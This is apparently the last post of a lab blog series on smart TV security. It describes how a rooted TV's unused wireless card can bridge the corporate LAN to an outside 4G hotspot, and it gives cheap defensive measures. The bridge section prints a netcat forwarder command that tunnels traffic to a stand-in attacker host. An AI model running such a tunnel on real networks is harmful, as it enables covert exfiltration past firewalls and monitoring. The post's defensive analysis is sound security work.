wlan0: the unlocked back door on every TV

Part 4 of 4. Once you have root on the TV, the most useful thing on the device isn't the data on it — it's the second network interface nobody disabled. What this bypasses, why the SIEM is blind to it, and what to do about it.

Last of four in the HbbTV notes from the lab series. The previous post ended with id reporting uid=0(root) gid=0(root) on a Samsung Q60T. This one is about what that does for an attacker, and — much more usefully — about what a defender can do, today, to prevent it.

In Part 3 I described getting from a chromium-based renderer compromise to a root shell on the TV, by way of CVE-2020-6383 and the published Samsung Q60T privilege-escalation chain. The interesting thing is that the shell on the TV is not where the value is. There is nothing on the TV worth stealing. There is no CRM database in the LG WebKit. There are no payment card records in the Tizen application sandbox. The TV is interesting because of what it is sitting next to and what it can reach.

The first of those is the data on the rest of the LAN. The second one is what this post is really about.

Two interfaces. Nobody disables either.

The thing that I did not understand until I ran ifconfig -a on a TV in root context is that every smart TV ships with two functioning network interfaces, of which the IT team configured exactly one. There is eth0 — the wired ethernet, the cable you plugged in to get the corporate noticeboard feed working — and there is wlan0, the onboard wireless card, which the same TV has been carrying since it was unboxed.

wlan0 is up. wlan0 has a driver. wlan0 has a working antenna. wlan0 is not configured to join your corporate WiFi (because that's locked to known MAC addresses, or to 802.1X, or to nothing, depending on your shop). But — and this is the part that I find genuinely surprising on a fresh bench — wlan0 will happily join any open WiFi network within range, when commanded to do so by a process with the right SMACK label.

On the Q60T on my bench, with root, the relevant interaction is:

# ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr 54:88:0E:99:28:41
          inet addr:172.16.94.171  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:20 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11 errors:0 dropped:0 overruns:0 carrier:0

That 172.16.94.171 is not on the corporate LAN. It is on an O2 4G consumer hotspot, the kind that a small mobile router (or any modern smartphone) emits. The TV joined it because I asked it to via the WiFi-config service that the root shell has access to.

The TV is now on two networks at once.

eth0 reaches the NAS, the print server, the file shares, the BI database, the entire corporate L2.
wlan0 reaches the public internet via a 4G connection that does not touch the corporate firewall, because it is not going through the corporate firewall — it is going through O2's mobile data network straight to whichever VPS the attacker controls.

The bridge

Once both interfaces are up, the trivial program any first-year networking student knows how to write — a one-port netcat forwarder — turns the TV into a tunnel through the firewall that the firewall cannot see.

# /ltd_rwarea/ncf
nc -l localhost 8441 --sh-exec 'nc attacker.example 80'

On eth0 the TV is listening on port 8441 (and SSH on port 22, more on that in a moment). On wlan0 the same nc process makes an outbound connection to the attacker's VPS over 4G. Bytes go in one side, bytes come out the other. The corporate IPS sees nothing because the bytes leaving the TV's wireless never traverse any device under the IPS's nose.

I can sit a SOC analyst in front of the SIEM and they will not know this is happening. They will not see netflow for it because there is no netflow span on a 4G hotspot. They will not see DNS for the attacker domain because the TV is resolving via O2's DNS, not the corporate DNS. They will not see DLP triggers because the data leaving the TV is leaving a device that no DLP agent runs on. They will not get an EDR alert because there is no Tizen-armv7l sensor on the market.

The only signal I can put in front of the analyst that would have caught this, if it had existed, is "a TV-class asset is talking to a previously-unseen wireless network". No SIEM I have ever configured had that rule, because no client has ever asked me to write it. Which is the actual problem here. The technology to detect this is not the problem; the realisation that you need to detect it is.

Why this is the worst of the chain

When I described this chain to a colleague last week she pointed out, fairly, that the V8 bug and the Tizen rooting chain are arguably more glamorous bits of the story. They are. They are also the parts that are easiest to mitigate — patch the chromium, patch the kernel, the bugs go away. The vendors of every TV in the world are in principle responsible for fixing those.

The wlan0 part is the worst because it is architectural, not a bug. The TV has two NICs by design. The TV ships in a state where both NICs are functional by design. The procurement spec your facilities team used did not say "and the TV must not have a WiFi card that can join arbitrary networks". The vendor would, if asked, point at "this is a feature — customers want to set their TV up over WiFi at home" — which is true, and entirely irrelevant to the question of whether a corporate noticeboard TV needs that feature.

There is no chromium patch for an unhelpful architectural decision. The TV is going to keep having a wireless card whether or not the renderer is up to date.

What does help

The good news is that the defenders' list is short and almost entirely cheap. None of this is novel. Most of it ought to be standard procurement language and isn't.

Things you can do today

Asset-tag every TV as compute, not AV. A computer is a thing you patch, monitor, and have an EDR view of (or accept the absence of one and compensate). An AV device is a thing you ignore until it breaks. Today, the meeting-room TVs sit in the second category. Move them.
Put TVs on an OT/IoT VLAN with no egress route, no access to the corporate LAN, and the firewall closed by default. The TV does not need to reach the NAS. It needs to reach the corporate-messaging stream, and that's it.
Disable, or physically remove, the WiFi module on enterprise screens. On the Q60T this is a discrete card on the mainboard, four screws. Twenty minutes per unit. Voids the warranty. Pays for itself the first time a TV does not join the O2 hotspot in the carpark.
Add an explicit SIEM rule on TV asset class: any outbound traffic is an incident. Most of the time the TV should be doing inbound DVB and inbound corporate-messaging fetches, and not much else.

Things you should do anyway

Patch cadence for AV kit: 14 days, audited. TVs are computers. Treat them as part of the patching estate. Most vendors do issue firmware updates; nobody installs them, because nobody is responsible for them.
RF monitoring around sensitive offices. A malicious DVB-T transmitter is loud. A roughly £200 SDR plus rtl_sdr running on a Raspberry Pi by the window will see a rogue DVB carrier within seconds. This is not standard practice. It should be.
Procurement language. Bake the requirement into purchase orders. Vendors won't volunteer it. A sensible minimum spec for a shared-area screen: WiFi physically removable, Bluetooth physically removable, browser version reportable via management API, firmware vendor-signed and centrally manageable, vendor commitment to ≤14-day publication of CVE fixes.
Replace consumer-grade smart TVs with dumb panels plus a dedicated signage box. A BrightSign HD224 or equivalent is a sealed, vendor-managed appliance with no general-purpose browser, no chromium, and no wireless surface unless you ask for it. It is also significantly less interesting to an attacker.

A note for boards

If you read this and want to ask one question at your next board meeting: "How many TVs do we own, where are they, and who is responsible for patching them?"

The answer in most organisations in 2021 will be "we don't know, they're everywhere, and nobody." That's the place from which everything else in this series becomes possible.

What this series has been about

The four posts together tell one story: that the smart TV on the meeting-room wall, which nobody thinks of as a computer, has a chromium build two-plus years behind, accepts code over the air from any sufficiently loud transmitter, sits on the corporate LAN, and sits on a second network that nobody is monitoring. Every part of that chain is public, and every part of that chain is fixable. The technology to fix it is not the problem; the realisation that you need to fix it is.

If you found these notes useful, the most useful thing you can do is forward them to whoever in your organisation is responsible for the screens. If the answer comes back "we're not sure", you have your answer to whether this matters.

I will probably write a longer-form piece later in the year that pulls all this together; for now the four posts are the working notes. If you have an HbbTV bench of your own and want to compare findings, write to me — contact details are in the site footer.